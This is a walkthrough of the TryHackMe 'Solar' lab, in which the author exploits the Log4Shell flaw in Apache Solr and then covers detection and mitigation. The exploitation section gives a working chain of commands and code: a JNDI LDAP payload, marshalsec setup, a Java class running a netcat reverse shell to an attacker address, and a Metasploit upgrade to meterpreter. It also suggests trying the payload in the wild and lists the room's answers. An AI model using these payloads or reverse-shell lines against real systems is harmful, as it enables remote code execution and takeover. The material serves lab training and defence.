- Here’s the challenge: https://tryhackme.com/room/solar
- It’s recommended to go through this informative room yourself first
Introduction
People in the infosec industry all know how far-reached and critical the log4j
vulnerability is, given the past exhausted, unrest December.
To summarize it all by memes, it would be this:
And this:
And more of these hilarious, evocative memes in this blog post. :D
Well in short:
- This (in)famous exploit targeting a RCE vulnerability in log4j, a widely used Java library
- You can find a list of popular affected softwares here: https://github.com/YfryTchsGD/Log4jAttackSurface
- Check out this clear showcase and explanation from John Hammond, this room’s creator: https://youtu.be/7qoPDq41xhQ
- If you simply want to jump right into testing it, here’s a tool you may want: https://log4shell.huntress.com/
Equipped with all these knowledge, let’s dive into our challenge! :D
Reconnaissance
Here’s the initial nmap
scan:
# Nmap 7.92 scan initiated Wed Jan 5 08:08:50 2022 as: nmap -sC -sV -oN nmap.txt 10.10.78.2
Nmap scan report for 10.10.78.2
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
| 256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
|_ 256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 5 08:10:05 2022 -- 1 IP address (1 host up) scanned in 75.23 seconds
Let’s check out the first question! (@^◡^)
… Well, time to hammer the machine, then. (⊙_⊙)
$ rustscan -a 10.10.145.200
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.145.200:22
Open 10.10.145.200:111
Open 10.10.145.200:8983
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-05 21:27 EST
Initiating Ping Scan at 21:27
Scanning 10.10.145.200 [2 ports]
Completed Ping Scan at 21:27, 0.39s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:27
Completed Parallel DNS resolution of 1 host. at 21:27, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:27
Scanning 10.10.145.200 [3 ports]
Discovered open port 22/tcp on 10.10.145.200
Discovered open port 111/tcp on 10.10.145.200
Discovered open port 8983/tcp on 10.10.145.200
Completed Connect Scan at 21:27, 0.39s elapsed (3 total ports)
Looks like only those 3 ports are currently opening. Here’s the result of the last port scan:
$ nmap -sV -p 8983 10.10.145.200 130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-05 21:29 EST
Nmap scan report for 10.10.145.200
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
8983/tcp open http Apache Solr
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds
Discovery
Navigating to the application, we see this interface:
The task also generously provided us a sample Solr log file. You can download it here: solrlogs.zip.
Most of those files just contain the default Solr banner, but solr.log
contains something weird:
...
2021-12-13 03:48:53.988 INFO (qtp1083962448-18) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:48:54.383 INFO (qtp1083962448-17) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:54.801 INFO (qtp1083962448-23) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:55.144 INFO (qtp1083962448-21) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:46.718 INFO (qtp1083962448-18) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:48.672 INFO (qtp1083962448-16) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:49.304 INFO (qtp1083962448-20) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:50.401 INFO (qtp1083962448-20) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:53.944 INFO (qtp1083962448-20) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
...
There’s an abnormal number of INFO level log entries. They repeatedly request for /admin/cores
endpoint, and some contains unique id
field in params
entrypoint. Here’s the result if you try to interact with it:
$ curl http://10.10.145.200:8983/solr/admin/cores
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{}}
And a few more times:
$ curl -X POST http://10.10.145.200:8983/solr/admin/cores
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{}}
$ curl -X POST -d "id=1337" http://10.10.145.200:8983/solr/admin/cores
{
"responseHeader":{
"status":0,
"QTime":3},
"initFailures":{},
"status":{}}
We can see a slight change in the response: QTime
changed, which probably means our posted data was recorded, or “logged”. Now it’s time to check if this machine is vulnerable to log4j
.
Proof of concept
As you may have known, the payload that set the Internet on fire is as simple as:
${jndi:ldap://EVIL_HOST_ADDRESS}
Find your address by ip a
, open a netcat
listener, then send your payload:
$ curl -X POST -d '${jndi:ldap://10.4.35.200:9999}' http://10.10.145.200:8983/solr/admin/cores
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{}}
$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.4.35.200] from (UNKNOWN) [10.10.145.200] 36400
As you can see, the server readily sent back a request - it’s confirmed being vulnerable to log4j
! With this simple procedure you can now go exploit log4j
in the wild, just put the payload in whatever you can think of - username, User Agent, request parameters, …, finger cross and hopefully a thousand-dollar bug bounty will fall upon you. :D
Exploitation
This step called for some set up and installation, so it’s better to power off our attacking machine and take a snapshot first.
If you’re already in an “attacking environment”, like ParrotSec or Kali Linux, chances are required dependencies are already installed. You can run the commands below to automate the installing process.
#!/bin/bash
cd /tmp
sudo apt install default-jdk git maven
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Then, create a simple Java reverse shell through netcat
like this:
public class Exploit {
/img/solarlog4j {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
And then, spin up a LDAP server, a simple HTTP server, build the exploit, and open a netcat
listener to wait for it.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"
python3 -m http.server
javac Exploit.java -source 8 -target 8
nc -lnvp 9999
With all that set up, the last task is to send our exploit.
curl -X POST -d '${jndi:ldap://10.4.35.200:1389/Exploit}' http://10.10.132.117:8983/solr/admin/cores
And… we got a reverse shell :D
If you want to go “further and beyond”, there’s a small optional challenge:
Challenge… accepted. :D
I recommend this tutorial. Straight to the point, if you want to get a meterpreter
instead of an usual unstable reverse shell, just catch it with Metasploit multi/handler
and directly upgrade it.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.4.35.200:9999
[*] Command shell session 1 opened (10.4.35.200:9999 -> 10.10.178.136:60342 ) at 2022-01-06 05:53:05 -0500
^Z
Background session 1? [y/N] y
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell sparc/bsd 10.4.35.200:9999 -> 10.10.178.136:60342 (10.10.178.136)
msf6 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.4.35.200:4433
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Sending stage (984904 bytes) to 10.10.178.136
[*] Meterpreter session 2 opened (10.4.35.200:4433 -> 10.10.178.136:38424 ) at 2022-01-06 05:54:23 -0500
[*] Stopping exploit/multi/handler
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter >
Persistence
As you may have noticed from the video above, this solr
user can run sudo
without password.
meterpreter > shell
Process 1794 created.
Channel 2 created.
sudo -l
Matching Defaults entries for solr on solar:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User solr may run the following commands on solar:
(ALL) NOPASSWD: ALL
This saved us from the hassle of dropping a backdoor ourselves. Now, let’s change the SSH password and lordly SSH in like a boss. ヾ(⌐■_■)ノ♪
Detection
This section is dedicated to sysadmins, but if you own an Internet-exposing server, you’ll definitely want to check this useful massive Reddit thread out.
Checking the affected log file again, we can see our payload proudly stood there:
solr@solar:/var/solr/logs$ tail -n 1 solr.log
2022-01-06 10:52:55.930 INFO (qtp1083962448-18) [ ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={${jndi:ldap://10.4.35.200:1389/Exploit\}=} status=0 QTime=2399
And here’s the most beautiful but terrifying detection on the Internet:
(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))
Bypasses
Here’s a bunch of bypasses for real life scenarios.
You can also search for more exhaustive lists on Github.
Mitigation
Let’s patch the machine by changing its configuration.
solr@solar:/var/solr/logs$ find / -type f -name "solr.in.sh" 2>/dev/null
/etc/default/solr.in.sh
We just need to add this line to the /etc/default/solr.in.sh
file:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
Then restart the service. Sending the exact same payload, we can see it doesn’t work anymore.
Answers
What service is running on port 8983? (Just the name of the software)
Apache Solr
Take a close look at the first page visible when navigating to http://MACHINE_IP:8983. You should be able to see clear indicators that log4j is in use within the application for logging activity. What is the -Dsolr.log.dir argument set to, displayed on the front page?
/var/solr/logs
One file has a significant number of INFO entries showing repeated requests to one specific URL endpoint. Which file includes contains this repeated entry? (Just the filename itself, no path needed)
solr.log
What "path" or URL endpoint is indicated in these repeated entries?
/admin/cores
Viewing these log entries, what field name indicates some data entrypoint that you as a user could control? (Just the field name)
params
What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections)
Listening on 0.0.0.0:1389
What user are you?
solr
What is the full path of the specific solr.in.sh file?
/etc/default/solr.in.sh
Final words
And that’s an overview about the severe vulnerability that “affect almost all software under the sun”.
… Why are you still here? It’s high time patching your servers, isn’t it? <( ̄︶ ̄)>